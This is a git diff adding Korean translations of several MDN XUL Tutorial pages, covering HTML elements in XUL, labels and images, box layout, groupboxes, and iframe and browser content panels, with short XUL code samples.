diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/adding_html_elements/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/adding_html_elements/index.html new file mode 100644 index 0000000000..6c3e3921ee --- /dev/null +++ b/files/ko/mozilla/tech/xul/xul_tutorial/adding_html_elements/index.html @@ -0,0 +1,114 @@ +--- +title: Adding HTML Elements +slug: Mozilla/Tech/XUL/XUL_Tutorial/Adding_HTML_Elements +tags: + - XUL + - XUL_Tutorial +translation_of: Archive/Mozilla/XUL/Tutorial/Adding_HTML_Elements +--- +

+

« 이전다음 »

+

+

버튼을 넣었으니 이제 다른 요소들을 더 넣어 보도록 하겠습니다.

+

창에 HTML 요소 추가하기

+

XUL 파일에는 XUL 요소뿐만 아니라 HTML 요소들도 바로 넣을 수 있습니다. 모든 HTML 요소를 XUL 파일에서 사용할 수 있기 때문에 자바 애플릿이나 테이블을 창에 표시하는 것도 가능합니다. 될 수 있으면 HTML 요소를 사용하지 않는 것이 바람직하지만(몇 가지 이유가 있지만 가장 중요한 것은 다음에 설명할 컨트롤의 배치와 관련된 것입니다.), 그래도 이번 단원에서는 XUL에서 HTML 요소를 사용하는 방법을 알아 보도록 하겠습니다. XML은 대소문자를 구별하기 때문에 모든 태그와 속성은 소문자로 입력해야 한다는 점에 유의하세요.

+

XHTML 이름공간

+

HTML 요소를 XUL 파일에서 사용하려면 먼저 XHTML 이름공간을 사용한다는 것을 선언해야 합니다. 이렇게 함으로써, Mozilla는 HTML 태그와 XUL 태그를 구별할 수 있습니다. 아래 속성이 XUL 파일의 window 태그나 제일 바깥 HTML 요소에 추가되어야 합니다.

+
xmlns:html="http://www.w3.org/1999/xhtml"
+
+

이것은 XUL 을 선언하기 위해 사용했던 것과 비슷한 것으로, HTML을 선언하는 것입니다. 이것은 위와 정확히 일치하도록 입력되어야 하며, 그렇지 않아면 제대로 작동하지 않을 것입니다. 실제로는 Mozilla가 위의 URL을 다운로드하는 것은 아니며, 그냥 HTML이라는 것을 인식하기 위한 것입니다.

+

다음은 파일 찾기 창에 추가한 예제입니다.

+
 <?xml version="1.0"?>
+ <?xml-stylesheet href="chrome://global/skin/" type="text/css"?>
+ <window
+   id="findfile-window"
+   title="Find Files"
+   orient="horizontal"
+   xmlns:html="http://www.w3.org/1999/xhtml"
+   xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
+
+

이제 다음 내용만 잘 세겨두고 있으면, HTML 태그를 사용하실 수 있습니다.

+ +

HTML 요소 사용하기

+

여러분은 어떠한 HTML 태그도 사용하실 수 있습니다(사실 headbody같은 것들은 쓸데가 없습니다). HTML 요소를 사용하는 몇 가지 예제를 아래에서 보실 수 있습니다.

+
<html:img src="banner.jpg"/>
+
+<html:input type="checkbox" value="true"/>
+
+<html:table>
+  <html:tr>
+    <html:td>
+      A simple table
+    </html:td>
+  </html:tr>
+</html:table>
+
+

위의 예제는 banner.jpg 이미지와 체크 박스, 단일 셀 테이블을 생성합니다. 여러분은 가능하면 XUL의 기능을 사용하는 것이 좋고, 레이아웃을 위해 테이블을 사용하지 않는게 좋습니다(레이아웃을 위한 XUL 요소가 존재합니다). 각 태그 앞에 html: 접두어가 추가되어 있는 것을 보실 수 있습니다. 이것은 Mozilla에게 이러한 태그가 XUL이 아닌 HTML 태그라는 것을 알려 줍니다. 만일 html: 부분이 빠지면 브라우저는 해당 요소가 XUL 요소인 것으로 생각할 것이며, img, input, table들은 유효한 XUL 태그가 아니기 때문에 출력되지 않을 것입니다.

+

XUL에서는 descriptionlabel 요소를 이용해서 라벨을 넣을 수 있습니다. 가능하면 이런 요소들을 사용하세요. 여러분은 컨트롤에 라벨을 넣기 위해 HTML의 label 요소를 사용하거나, 아래의 예제와 같이 다른 블럭 요소(pdiv 같은 것들)내에 직접 텍스트를 넣어서 사용할 수 있습니다.

+

예제 1 : Source View

+
<html:p>
+  Search for:
+  <html:input id="find-text"/>
+  <button id="okbutton" label="OK"/>
+</html:p>
+
+

위의 코드에서는 'Search for:'라는 텍스트가 출력되고, 다음에는 input 요소와 OK 버튼이 출력됩니다. 위에서와 같이 XUL 버튼이 HTML 요소 내에 나타날 수 있다는 점에 유의하세요. 텍스트는 보통 출력을 위해 사용되는 HTML 요소 내에 위치해야지만 출력됩니다. 바깥쪽에 있는 텍스트는 description와 같이 텍스트를 포함할 수 있는 XUL 요소외에서는 출력되지 않습니다. 아래의 예제가 도움이 될것입니다.

+

HTML 요소 예제

+

다음은 HTML 요소를 창에 추가하는 몇 가지 예제입니다. 단순하게 하기 위해 창과 다른 중복된 내용은 생략하였습니다.

+

체크 박스가 있는 대화상자

+

예제 2 : Source View

+
+ Image:htmlelem-ex1.png
+
<html:p>
+  Click the box below to remember this decision.
+  <html:p>
+    <html:input id="rtd" type="checkbox"/>
+    <html:label for="rtd">Remember This Decision</html:label>
+  </html:p>
+</html:p>
+
+

위 예제에서는 하나의 p 태그는 텍스트를 감싸고 있고, 다른 p 태그는 여러 줄로 텍스트를 분리하기 위해 사용되고 있습니다.

+

HTML 블럭 바깥쪽에 있는 텍스트

+

예제 3 : Source View

+
+ Image:htmlelem-ex2.png
+
<html:div>
+    Would you like to save the following documents?
+    <html:hr/>
+</html:div>
+Expense Report 1
+What I Did Last Summer
+<button id="yes" label="Yes"/>
+<button id="no" label="No"/>
+
+

그림에서 보듯이, div 태그 안에 있는 텍스트는 출력되지만 바깥쪽에 있는 텍스트(Expense Report 1과 What I Did Last Summer)는 출력되지 않습니다. 이것은 텍스트를 출력하기 위해 감싸고 있는 HTML 혹은 XUL 요소가 없기 때문입니다. 이 텍스트를 출력하기 위해서는 div 태그나 description 태그 내로 들어가야 합니다.

+

잘못된 HTML 요소

+
<html:po>Case 1</html:po>
+<div>Case 2</div>
+<html:description value="Case 3"/>
+
+

위의 세 가지 경우는 모두, 서로 다른 이유 때문에 출력되지 않습니다.

+
+
+ Case 1 
+
+ po는 유효한 HTML 태그가 아니며, Mozilla는 어떻게 처리해야 할지에 대해 알지 못합니다.
+
+ Case 2 
+
+ div는 HTML에서만 유효합니다. 제대로 동작하려면 html:한정사를 추가해야 합니다.
+
+ Case 3 
+
+ A description는 XUL에서만 유효한 요소입니다. html: 한정사가 없어야 합니다.
+
+

다음번에는 요소들 간에 공백(spacer) 주기에 대해 알아보겠습니다.

+

+

« 이전다음 »

+

+

diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/adding_labels_and_images/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/adding_labels_and_images/index.html new file mode 100644 index 0000000000..0d4391877b --- /dev/null +++ b/files/ko/mozilla/tech/xul/xul_tutorial/adding_labels_and_images/index.html @@ -0,0 +1,65 @@ +--- +title: Adding Labels and Images +slug: Mozilla/Tech/XUL/XUL_Tutorial/Adding_Labels_and_Images +tags: + - XUL + - XUL_Tutorial +translation_of: Archive/Mozilla/XUL/Tutorial/Adding_Labels_and_Images +--- +

+

« 이전다음 »

+

+

이 절은 창에 label과 image를 추가하는 법을 기술합니다. 게다가, 그룹에 요소를 포함하는 법을 살펴봅니다.

+

Text 요소

+

여러분은 태그 없이는 XUL 파일에 바로 텍스트를 끼워 넣고 표시되기를 기대할 수 없습니다. 여러분을 이런 목적을 위해 XUL 요소 둘을 쓸 수 있습니다.

+

Label 요소

+

창에 텍스트를 포함하는 가장 기본 방법은 label 요소를 쓰는 겁니다. 예제를 아래에 보입니다.

+

Example 1 : Source View

+
<label value="This is some text"/>
+
+

value 속성(attribute)은 여러분이 표시되길 바라는 텍스트를 지정하는 데 쓸 수 있습니다. 텍스트는 넘겨지지(wrap) 않아서 오직 한 줄에 보입니다. 이는 짧은 텍스트 절에 어울립니다.

+

Description 요소

+

더 긴 텍스트를 위해, 여러분은 열고 닫는 description 태그 안에 content를 둘 수 있습니다. label 요소와 value 속성으로 지정된 텍스트와는 달리, child 텍스트는 필요하다면 여러 줄로 넘겨집니다. 넘겨짐(wrapping)을 보기 위해 창 크기를 조정해 보세요. HTML처럼, 줄바꿈(line break)과 여분 공백(whitespace)은 space 하나로 축약됩니다. 우리가 더 쉽게 넘겨짐을 볼 수 있도록 나중에 요소의 너비를 강제하는 법을 알아봅니다.

+

Example 2 : Source View

+
<description>
+  This longer section of text is displayed.
+</description>
+
+

내부에서, label 요소와 description 요소 둘은 같습니다. 이는 label은 여러분이 태그 안에 둔 텍스트가 넘겨질 수 있고 description은 value 속성이 있을 수 있음을 뜻합니다. label 요소 text field와 같은 컨트롤(control)의 label을 위한 목적입니다. description 요소는 dialog 상자의 상단에 informative text와 같은 other descriptive text를 위한 목적입니다. 관례에 따라, 여러분은 이 지침을 따르면 좋습니다.

+

Control 속성

+

여러분은 to set which control the label is associated with control 속성을 쓸 수 있습니다. 사용자가 label을 클릭할 때, 그 컨트롤이 focus를 받습니다. control 속성값을 focus 받을 요소의 id로 설정하세요.

+

Example 3 : Source View

+
<label value="Click here:" control="open-button"/>
+<button id="open-button" label="Open"/>
+
+

위 예제에서, label을 클릭하면 button이 focus를 받게 됩니다.

+

Image

+

HTML처럼, XUL은 창 안에 image를 표시하는 요소가 있습니다. 이 요소는 어울리게 image로 이름 지었습니다. 태그 이름이 HTML( + + img + 대신 + + image + )과 다름을 유념하세요. 여러분은 image 파일의 URL을 지정하기 위해 src 속성을 쓸 수 있습니다. 아래 예제는 이를 보입니다.

+
<image src="images/banner.jpg"/>
+
+

비록 여러분이 이 구문을 쓸 수 있을지라도, image URL을 설정하기 위해 스타일시트를 쓰는 것이 더 낫습니다. 더 나중 절에서 스타일시트 쓰는 법을 설명하지만 예제는 완결함을 위해 여기에 보입니다. 여러분은 image URL을 설정하기 위해 list-style-image CSS 프로퍼티를 쓸 수 있습니다. 여기 예제가 있습니다.

+
XUL:
+ <image id="image1"/>
+ <image id="search"/>
+
+
Style Sheet:
+ #image1 {
+   list-style-image: url("chrome://findfile/skin/banner.jpg");
+ }
+
+ #search {
+   list-style-image: url("http://example.com/images/search.png");
+ }
+
+

이 이미지들은 findfile 꾸러미(package)용 skin의 chrome 디렉토리에서 났습니다. image가 skin에 따라 바뀌기 때문에, 여러분은 보통 skin 디렉토리에 image를 둘 겁니다.

+

다음 절에서, 우리는 창에 입력 컨트롤을 추가하는 법을 배웁니다.

+

+

« 이전다음 »

+

+

diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/adding_more_elements/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/adding_more_elements/index.html new file mode 100644 index 0000000000..c801fbfbba --- /dev/null +++ b/files/ko/mozilla/tech/xul/xul_tutorial/adding_more_elements/index.html @@ -0,0 +1,87 @@ +--- +title: Adding More Elements +slug: Mozilla/Tech/XUL/XUL_Tutorial/Adding_More_Elements +tags: + - XUL + - XUL_Tutorial +translation_of: Archive/Mozilla/XUL/Tutorial/Adding_More_Elements +--- +

 

+

+

« 이전다음 »

+

+

파일 찾기 대화창에 몇 가지 상자를 추가하면서 상자에 대한 논의를 마무리 하겠습니다.

+
+

우리의 파일 찾기 예제에 몇가지 요소 추가하기

+

이제 파일 찾기 대화창에 몇 가지 요소를 추가하겠습니다. 먼저 파일크기 및 날짜와 같은 정보를 검색할 수 있는 기능을 추가할 것입니다.

+
<hbox>
+  <menulist id="searchtype">
+    <menupopup>
+      <menuitem label="Name"/>
+      <menuitem label="Size"/>
+      <menuitem label="Date Modified"/>
+    </menupopup>
+  </menulist>
+  <spacer style="width: 10px;"/>
+  <menulist id="searchmode">
+    <menupopup>
+      <menuitem label="Is"/>
+      <menuitem label="Is Not"/>
+    </menupopup>
+  </menulist>
+  <spacer style="width: 10px;"/>
+  <textbox id="find-text" flex="1" style="min-width: 15em;"/>
+</hbox>
+
+
+ Image:boxfinal1.png
+

2 개의 드롭 다운 상자가 대화창에 추가되었습니다. 이들을 구분짓기 위해서 각 요소 사이에 spacer가 추가되어 있습니다. 이들 spacer는 각각 10픽셀 너비가 주어졌습니다. 창 크기가 바뀌면, 글상자는 커지지만 다른 구성요소는 그대로 있는 것을 보실 수 있습니다. 또한 라벨이 제거된 것을 보실 수 있습니다.

+

세로 방향의 창 크기를 바꾸더라도, 해당 요소들의 크기는 변하지 않습니다. 이것은 해당 요소가 가로상자 내부에 있기 때문입니다. 만일 찾기(Find)와 취소(Cancel) 버튼이 항상 창 하단에 있게되면 보기가 더 좋을 것입니다. 이것은 2개의 가로상자 사이에 spacer를 추가해서 간단하게 처리할 수 있습니다.

+
<spacer style="height: 10px"/>
+<hbox>
+  <menulist id="searchtype">
+    <menupopup>
+      <menuitem label="Name"/>
+      <menuitem label="Size"/>
+      <menuitem label="Date Modified"/>
+    </menupopup>
+  </menulist>
+  <spacer style="width: 10px;"/>
+  <menulist id="searchmode">
+    <menupopup>
+      <menuitem label="Is"/>
+      <menuitem label="Is Not"/>
+    </menupopup>
+  </menulist>
+  <spacer style="width: 10px;"/>
+  <textbox id="find-text" flex="1" style="min-width: 15em;"/>
+</hbox>
+
+<spacer style="height: 10px" flex="1"/>
+
+<hbox>
+
+

이제 대화창 크기가 바뀌면, 2개의 버튼은 항상 대화창 하단에 있도록 움직이게 됩니다. 첫번째 spacer는 제목 라벨과 검색 기준 요소 사이에 여백을 추가한 것입니다.

+

검색 기준 둘레에 선이 있다면 더 보기 좋을 것입니다. 이를 처리할 수 있는 방법에는 두 가지가 있습니다. CSS의 border 속성을 사용하거나 groupbox 요소를 사용할 수 있습니다. 첫 번째 방식은 상자 자체에 스타일 속성을 사용하면 됩니다. 우리는 후자의 방식을 사용할 것입니다. groupbox는 현재의 테마에 어울리는 보기 좋은 둥근 테두리를 가진 상자를 그려주는 장점이 있습니다.

+

groupbox로 상자를 변경해 보겠습니다.

+
<groupbox orient="horizontal">
+  <caption label="Search Criteria"/>
+  <menulist id="searchtype">
+  .
+  .
+  .
+  <spacer style="width: 10px;"/>
+  <textbox id="find-text" flex="1" style="min-width: 15em;"/>
+</groupbox>
+
+
+ Image:boxfinal2.png
+

마찬가지로 다른 표면적인 문제가 있습니다. groupbox가 상자 하단 세로방향으로 확장되도록 groupbox를 늘릴 수도 있습니다. 또한 해당 요소가 잘 위치되도록 여백의 일부를 수정할 수도 있습니다.

+

본 자습서를 통해 요소들을 추가하면서 상자 모델과 그것들의 몇 가지 기능들에 대한 기능들에 대한 더 많은 예제를 보게 될 것입니다..

+

지금까지의 파일 찾기 예제 Source View

+
+

다음에는 스택을 작성하는 방법에 대해 알아 보겠습니다.

+

+

« 이전다음 »

+

+

diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/box_model_details/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/box_model_details/index.html new file mode 100644 index 0000000000..64633c5d1d --- /dev/null +++ b/files/ko/mozilla/tech/xul/xul_tutorial/box_model_details/index.html @@ -0,0 +1,99 @@ +--- +title: Box Model Details +slug: Mozilla/Tech/XUL/XUL_Tutorial/Box_Model_Details +tags: + - XUL + - XUL_Tutorial +translation_of: Archive/Mozilla/XUL/Tutorial/Box_Model_Details +--- +

+

« 이전다음 »

+

+

지금까지 우리는 상자모델의 많은 기능을 살펴 보았습니다. 여기서는 몇 가지 예제를 가지고 좀 더 세부적인 내용을 알아보겠습니다.

+

레이아웃에 대한 추가 내용

+

min-widthmax-height같은 스타일 속성은 어떤 요소에든 적용할 수 있습니다. 지금까지는 이 속성들을 버튼과 글상자에만 적용했지만, 여백이나 상자 요소에도 적용할 수 있습니다. 게다가, flex 속성은 어떤 요소에든 적용할 수 있습니다.

+

예제 1 : Source View

+
<hbox flex="1">
+  <button label="Left" style="min-width: 100px;" flex="1"/>
+  <spacer flex="1"/>
+  <button label="Right" style="min-width: 100px;" flex="1"/>
+</hbox>
+
+

위의 예제에서, 3개 요소는 유연하기 때문에 스스로 크기가 조절됩니다. 2개의 버튼은 최소 넓이를 100픽셀로 하고 있습니다. 버튼은 이 크기 이하로 절대 작아지지 않지만 더 늘어날 수는 있습니다. 여기서 해당 창은 대략 200픽셀 정도의 넓이가 될 것입니다. 이는 두개의 버튼이 들어가기에 충분한 공간입니다. 3개 요소 모두가 유연하기 때문에, 더 많은 공간을 필요로 하지 않으며 flex 속성에 의해 빈 공간이 생기지 않습니다.

+
+ Image:boxdet1.png
+

그림에서처럼, 두 개의 버튼은 이들을 포함하는 hbox에 맞도록 수직 방향으로도 늘어나는 것을 볼 수 있습니다. align 속성은 가로상자에서 이러한 동작을 제어하는데 사용됩니다. 또한 여러분은 요소나 상자에 최대 높이를 지정해서 늘어나지 못하게도 할 수 있습니다. 어떤 상자가 최대 높이값을 가지면, 상자내에 있는 요소들은 이것에 의해 제약을 받게 된다. 그러나 여기에도 문제가 있는데, 사전에 해당 요소가 얼마나 커야 할지 알아야 한다는 것입니다.

+

예제 2 : Source View

+
<hbox flex="1" align="top">
+  <button label="Left" style="min-width: 100px;" flex="1"/>
+  <spacer flex="1"/>
+  <button label="Right" style="min-width: 100px;" flex="1"/>
+</hbox>
+
+

상자 모델 정리

+

복잡한 레이아웃을 만드려면, 일반적으로 중첩된 상자를 추가하고 일부 요소에 최대 최소 크기를 지정해주고, 어떤 요소가 flex 속성을 가지도록 해야 합니다. 가장 좋은 인터페이스는 다양한 크기에서도 문제없이 표시될 수 있는 것입니다. 여러분 스스로 여러 경우를 시험해 보지 않으면 상자 모델을 이해하기 어려우실 겁니다.

+

다음은 두 가지 상자 형식의 기본적인 내용을 설명하고 있습니다.

+

가로상자

+
    +
  1. 서로 이웃하는 요소를 가로 방향으로 배치합니다.
  2. +
  3. 유연한 요소(flex 속성을 가진 요소)는 가로로 크기를 조절합니다.
  4. +
  5. pack 속성은 자식 요소의 가로 방향 위치를 제어합니다.
  6. +
  7. align 속성은 요소의 행이 어떻게 세로로 정렬될 지를 제어합니다.
  8. +
+

세로상자

+
    +
  1. 세로 방향으로 요소들을 배치합니다.
  2. +
  3. 유연한 요소(flex 속성을 가진 요소)는 세로로 크기를 조절합니다.
  4. +
  5. pack 속성은 자식 요소의 세로 방향 위치를 제어합니다.
  6. +
  7. align 속성은 자식 요소의 가로 정렬 방식을 제어합니다.
  8. +
+

상자는 테이블과 같은 HTML 요소 내부를 포함해서 XUL 어디에든 사용할 수 있습니다. 그러나 그러한 레이아웃은 일부 HTML 요소에 의해 제어되게 됩니다. 이는 flex 속성이 여러분이 원하는 대로 작동하지 않을 수도 있다는 것을 의미합니다. flex 속성은 상자 또는 상자 타입 요소 바로 안에 있는 요소들에 대해서만 적용된다는 점을 기억하세요.

+

레이아웃 예제

+

여백 사용하기

+

예제 3 : Source View

+
<hbox>
+  <button label="One"/>
+  <spacer style="width: 5px"/>
+  <button label="Two"/>
+</hbox>
+
+

여기서, spacer 요소는 두개의 버튼 사이의 구분자로 사용되고 있으며, 정확하게 5픽셀로 설정되어 있습니다. 여러분은 CSS의 margin 속성을 사용해서 여백을 설정할 수도 있습니다.

+

버튼 중앙정렬

+

예제 4 : Source View

+
<hbox pack="center" align="center" flex="1">
+  <button label="Look at Me!"/>
+  <button label="Push Me!"/>
+</hbox>
+
+

이 예제는 2개의 버튼을 포함하고 flex 속성이 지정된 가로 상자입니다. 해당 상자는 버튼들을 가로 중앙 정렬하기 위해 pack 속성을 사용합니다. align 속성은 버튼들을 세로로 정렬하고 있습니다. 결과적으로 상자 내 버튼들은 양방향에서 중앙에 위치하게 됩니다. 이 예제는 세로상자에도 마찬가지로 적용되는데, 다른점은 2번째 버튼이 우측이 아니라 아래에 놓이게 된다는 것입니다.

+

파일 찾기 대화창

+

예제 5 : Source View

+
<?xml version="1.0"?>
+<?xml-stylesheet href="chrome://global/skin/" type="text/css"?>
+
+<window id="findtext" title="Find Text" orient="horizontal"
+        xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
+
+  <vbox flex="3">
+    <label control="t1" value="Search Text:"/>
+    <textbox id="t1" style="min-width: 100px;" flex="1"/>
+  </vbox>
+
+  <vbox style="min-width: 150px;" flex="1" align="start">
+    <checkbox id="c1" label="Ignore Case"/>
+    <spacer flex="1" style="max-height: 30px;"/>
+    <button label="Find"/>
+  </vbox>
+
+</window>
+
+
+ Image:boxdet-ex3.jpg
+

여기서 2개의 세로상자가 만들어 지는데, 하나는 글상자를 포함하고 다른 하나는 체크상자와 버튼을 포함합니다. 좌측 상자는 우측보다 3배 큰 유연성을 가지고 있어(flex값이 3배 큼) 창의 크기가 커지면 추가 공간도 그만큼 커지게 된다. 오른쪽 상자는 최소 넓이를 150픽셀로 제한하고 있습니다.

+

글상자는 flex 속성을 가지고 있기 때문에 창 크기가 바뀌면 따라서 바뀌게 됩니다. 글상자 또한 최소넓이를 100픽셀로 제한하고 있습니다. 오른쪽 상자에는 라벨이 있는 체크상자가 있습니다. 체크상자 바로 아래에는 여백(spacer) 요소가 있습니다. 여백(spacer)은 커지거나 줄어들게 되지만 30픽셀보다 커지지는 않습니다. 결과적으로 체크상자와 찾기(Find) 버튼은 30픽셀 보다 크지는 않을 공간으로 서로 떨어져 나타나게 됩니다.

+

2번째 상자는 start라는 정렬 속성을 가지고 있습니다. 이 속성은 자식요소를 좌측 끝에 정렬시킵니다. 이를 지정하지 않았다면, 기본값은 stretch가 되는데, 자식요소를 가로으로 주욱 펼치게 되었을 것입니다. 찾기(Find) 버튼의 크기가 변하지 않게 하기 위해서는 정렬 속성을 지정해야 합니다.

+

다음에는 좀 더 특별한 유형의 상자인 the groupbox에 대해 알아보겠습니다.

+

+

« 이전다음 »

+

+

diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/content_panels/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/content_panels/index.html new file mode 100644 index 0000000000..d255a5fa4e --- /dev/null +++ b/files/ko/mozilla/tech/xul/xul_tutorial/content_panels/index.html @@ -0,0 +1,55 @@ +--- +title: Content Panels +slug: Mozilla/Tech/XUL/XUL_Tutorial/Content_Panels +tags: + - XUL + - XUL_Tutorial +translation_of: Archive/Mozilla/XUL/Tutorial/Content_Panels +--- +

 

+

+

« 이전다음 »

+

+

이번 단원에서는 HTML 페이지 혹은 외부 XUL 파일을 표시할 수 있는 패널을 추가하는 방법에 대해 알아보겠습니다.

+

자식 패널 추가하기

+

여러분은 다른 페이지의 문서 일부분을 가져오고자 할 때가 있을 것입니다. 때로는 창의 일부분만을 수정하고자 할 때도 있을 것입니다. 단계별로 진행되는 마법사 대화창이 좋은 예입니다. 마법사 대화창은 여러개의 화면을 통해 단계적으로 질문을 하고 답변을 하도록 안내해줍니다. 사용자가 다음 버튼을 클릭할 때마다 마법사의 다음 화면이 표시됩니다.

+

마법사를 만들 때 각 화면별로 다른 창이 열리도록 인터페이스를 구성할 수도 있을 것입니다. 하지만 이 방법에는 다음의 세 가지 문제점이 있습니다. 첫 번째는 각 창이 다른 위치에 나타날 수 있다는 점입니다(해결책이 있기는 합니다). 두 번째는 '뒤로'나 '다음' 버튼 등의 요소는 인터페이스 전반에 걸쳐 공통적으로 사용되기 때문에 마법사의 내용 영역만 바뀌도록 구성하는 것이 좋다는 점입니다. 세 번째는 여러 개의 창을 이용하면 스크립트를 효율적으로 사용할 수 없다는 점입니다.

+

XUL에는 마법사 인터페이스를 만들기 위한 wizard 요소가 존재한다는 점을 알고 계십시요. 이에 대해서는 이후 단원에서 설명할 것입니다.

+

또 다른 방법은 iframe 요소를 사용하는 것인데, 같은 이름의 HTML 요소와 아주 비슷하게 동작합니다. iframe은 하나의 창 내에 서로 다른 문서를 만들 수 있게 해 줍니다. 또한 iframe은 창의 어느 곳에나 위치할 수 있고 다른 파일에서 내용을 불러올 수 있다는 장점이 있습니다. iframe에서는 src 속성을 사용하여 프레임에 표시될 URL을 지정합니다. URL이 가리킬 수 있는 파일 종류에는 제한이 없지만, 보통 HTML이나 XUL 파일을 사용합니다. 스크립트를 사용하면 창에 영향을 주지 않고 iframe의 내용을 바꿀 수도 있습니다.

+

Mozilla 브라우저 창에서 웹 문서가 표시되는 영역이 바로 iframe으로 만들어진 것입니다. 사용자가 URL을 입력하거나 문서의 링크를 클릭하면 이 프레임의 소스가 변경되는 것입니다.

+
iframe 예제
+

예제 1 : Source View

+
<toolbox>
+  <toolbar id="nav-toolbar">
+    <toolbarbutton label="Back"/>
+    <toolbarbutton label="Forward"/>
+    <textbox id="urlfield"/>
+  </toolbar>
+</toolbox>
+
+<iframe id="content-body" src="http://www.mozilla.org/index.html" flex="1"/>
+
+

위 예제는 웹 브라우저로 사용할 수 있는 아주 간단한 인터페이스를 만들어 보았습니다. 상자에는 toolboxiframe 요소를 포함합니다. 툴바에는 "뒤로 가기" 버튼과 "앞으로 가기" 버튼, URL 입력란이 포함되어 있습니다(툴바에 대해서는 이후 단원에서 배울것입니다). 웹 문서는 iframe 안에 표시되는데, 예제에서는 기본적으로 welcome.html 파일이 표시됩니다.

+

이 예제는 완전한 기능을 제공하지는 않습니다. 나중에 사용자가 Enter 키를 누르는 것과 같은 특정 시점에 src 속성을 변경하는 스크립트를 추가할 것입니다.

+

브라우저

+

browser 태그를 사용하는 두 번째 유형의 내용 패널이 있습니다. 이 패널은 브라우저처럼 내용을 출력하는 프레임을 생성하고자 할 때 사용할 수 있습니다. 사실 iframe도 이러한 것을 할 수 있지만, 브라우저는 좀 더 다양한 기능을 제공합니다. 예를 들어, 브라우저는 '뒤로'나 '다음' 버튼을 사용할 수 있도록 페이지 기록을 관리합니다. browser 요소는 해당 내용의 참조자와 다른 플래그들을 가지고 페이지를 로드할 수 있습니다. 당연히, browser 태그는 브라우저와 같은 인터페이스를 만들고자 할 때 사용되어야 하지만, 간단한 패널이 필요할 때 iframe을 사용할 수도 있습니다.

+

이와 비슷한 요소인 tabbrowserbrowser의 모든 기능을 제공하면서 여러 페이지들간에 이동할 수 있는 탭바를 제공합니다. 이는 Mozilla 브라우저에서 탭브라우징 인터페이스를 제공하기 위해 사용되는 위젯입니다. 사실 tabbrowser 요소는 여러개의 browser를 포함하는 tabbox로 구현되어 있습니다. 두 가지 형태의 브라우저 모두 출력되는 페이지들을 제어하기 위한 비슷한 방법을 제공합니다.

+
browser 예제
+

예제 2 : Source View

+
<browser src="http://www.mozilla.org" flex="1"/>
+
+

iframe과 같이 src속성을 사용하여 브라우저에 url을 지정할 수 있습니다. tabbrowser에서는 위와 같이 직접 url을 지정할 수 없는데 이는 이 요소가 단지 하나의 url만 출력하는 것이 아니기 때문입니다. 대신 스크립트를 사용해서 loadURI 함수를 호출해야만 합니다.

+

브라우저는 출력하고자 하는 내용에 따라 3가지의 유형이 있습니다. 이 유형은 type 속성을 이용하여 지정합니다.

+

첫 번째 유형은 기본값이며 type 속성이 명시되지 않았을 때 사용됩니다. 이 경우 브라우저내에 로드되는 내용은 내용을 로드하는 응용 프로그램의 일부로 취급되어 외부 창에 접근할 수 있는 방법을 가지게 됩니다. 이것은 브라우저 내에 로드된 스크립트가 최상위 창을 얻으려고 시도하면, 그것은 외부의 XUL 창을 얻게 된다는 것을 의미합니다.

+

이러한 유형은 응용 프로그램의 일부인 자식 XUL 패널에서는 적당하지만, 웹 페이지를 로드하는 브라우저에서는 원치 않는 것입니다. 대신 여러분은 웹 페이지가 웹 페이지의 내용에만 접근할 수 있도록 제한하기를 원할 것입니다. 여러분은 Mozilla 브라우저 창이 메인 영역을 구성하는 tabbrowser와 함께 툴바와 상태바 등과 같은 XUL 콘텐츠를 가진다는 것을 알고 있을 것입니다. 이러한 내부 영역은 웹 페이지를 출력하지만, 웹 페이지는 이들 주위의 XUL에는 접근할 수 없습니다. 이것은 브라우저가 두 번째 유형을 사용하기 때문인데, 이 유형에서는 type 속성에 content값을 지정합니다. 이렇게 지정하면 내용이 XUL window에 접근하지 못하도록 막아줍니다. 다음은 이에 대한 예제입니다.

+
<browser src="http://www.mozilla.org" type="content" flex="1"/>
+
+
+ 중요: 여러분은 browser 요소내에 원격지 웹사이트를 출력하기 위해서는 type 속성을 정확히 지정해야 합니다.
+

tabbrowser는 자기가 생성한 모든 탭 브라우저에 대해 자동으로 유형을 지정합니다. 그렇기 때문에 탭 브라우저의 경우 명시적으로 지정할 필요가 없습니다.

+

세 번째 유형은 다른 내용을 출력하기 위해 사이드바를 사용하는 것과 같이 창에 다중 브라우저 요소를 포함할때 사용됩니다. 메인 browser 요소의 type 속성을 content-primary로 지정하면 이것은 창에서 주 내용이라는 것을 나타냅니다. 이것은 창 내부의 내용이 XUL 창의 'content' 속성을 이용하여 접근할 수 있다는 점만 제외하면 content 값과 유사하게 동작합니다. 이것은 스크립트를 사용하여 주 브라우저의 내용에 접근하기 쉽게 해 줍니다. tabbrowser는 자동으로 현재 보이는 브라우저에 대해 type 속성을 content-primary로 지정하며, 이것은 여러분이 현재 보이는 내용에 대해 항상 접근할 수 있다는 것을 의미합니다.

+

다음에는 분할자(splitter)를 작성하는 방법에 대해 알아보겠습니다.

+

+

« 이전다음 »

+

+

diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/creating_a_window/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/creating_a_window/index.html new file mode 100644 index 0000000000..3152f51638 --- /dev/null +++ b/files/ko/mozilla/tech/xul/xul_tutorial/creating_a_window/index.html @@ -0,0 +1,113 @@ +--- +title: Creating a Window +slug: Mozilla/Tech/XUL/XUL_Tutorial/Creating_a_Window +tags: + - XUL + - XUL_Tutorial +translation_of: Archive/Mozilla/XUL/Tutorial/Creating_a_Window +--- +

+

« 이전다음 »

+

+ +
+

우리는 이 입문서를 통해 간단한 파일 찾기(find files) 유틸리티를 만들어 볼 작정입니다.

+
+ +

하지만, 먼저 XUL 파일의 기본 구문을 살펴보겠습니다.

+ +

XUL 파일 만들기

+ +

XUL 파일은 어떤 이름도 줄 수 있지만 사실 확장자는 .xul입니다. 가장 간단한 XUL 파일의 구조는 다음과 같습니다.

+ +
<?xml version="1.0"?>
